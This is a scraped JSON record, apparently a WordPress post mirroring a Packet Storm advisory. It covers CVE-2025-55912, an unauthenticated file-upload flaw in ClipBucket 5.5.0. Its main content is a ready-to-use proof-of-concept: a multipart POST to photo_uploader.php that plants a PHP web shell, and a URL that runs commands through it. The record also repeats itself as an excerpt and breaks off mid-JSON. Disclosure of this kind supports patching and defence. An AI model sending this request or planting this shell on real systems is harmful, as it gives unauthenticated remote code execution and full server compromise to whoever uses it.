{“lastseen”:”2025-11-03T16:53:37″,”description”:”ClipBucket………………………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ClipBucket 5.5.0 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:211127″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-55912″],”sourceData”:”# Exploit Title: ClipBucket 5.5.0 – Arbitrary File Upload\\n \\n # Google Dork: N\/A\\n \\n # Date: 2025-09-11\\n \\n # Exploit Author: Mukundsinh Solanki (r00td3str0y3r)\\n \\n # Vendor Homepage: https:\/\/clipbucket.com\\n \\n # Software Link: https:\/\/github.com\/MacWarrior\/clipbucket-v5\\n \\n # Version: \\u003c= 5.5.0\\n \\n # Tested on: Ubuntu 20.04 LTS, PHP 7.4\\n \\n # CVE: CVE-2025-55912\\n \\n ## Vulnerability Description:\\n ClipBucket \\u003c= 5.5.0 suffers from an unauthenticated arbitrary file upload\\n vulnerability in `upload\/actions\/photo_uploader.php`. Missing access\\n controls and insufficient validation of uploaded files allow an attacker to\\n upload a crafted PHP file and execute it remotely, leading to full remote\\n code execution (RCE).\\n \\n ## PoC Request:\\n \\n POST \/upload\/actions\/photo_uploader.php HTTP\/1.1\\n Host: victim.com\\n Content-Type: multipart\/form-data; boundary=—-BOUND\\n \\n ——BOUND\\n Content-Disposition: form-data; name=\\”Filedata\\”; filename=\\”shell.php\\”\\n Content-Type: application\/x-php\\n \\n \\u003c?php system($_GET[‘cmd’]); ?\\u003e\\n ——BOUND–\\n \\n \\n The file is uploaded without authentication. The attacker can then access\\n it:\\n \\n \\n http:\/\/victim.com\/files\/photos\/shell.php?cmd=id\\n \\n \\n ## Impact:\\n – Unauthenticated remote code execution (RCE)\\n – Full compromise of target application and underlying server\\n \\n Regards,\\n Mukundsinh Solanki\\n +916355251151″,”sourceHref”:”https:\/\/packetstorm.news\/download\/211127″,”cvss”:{“score”:7.3,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211127\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-03T16:53:37″,”description”:”ClipBucket………………………………………”,”published”:”2025-11-03T00:00:00″,”modified”:”2025-11-03T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ClipBucket 5.5.0 Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:211127″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-55912″],”sourceData”:”# Exploit Title: ClipBucket 5.5.0 – Arbitrary File Upload\\n \\n # Google Dork: N\/A\\n \\n # Date: 2025-09-11\\n \\n # Exploit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,47,12,15,13,53,7,11,5],"class_list":["post-24492","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-73","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n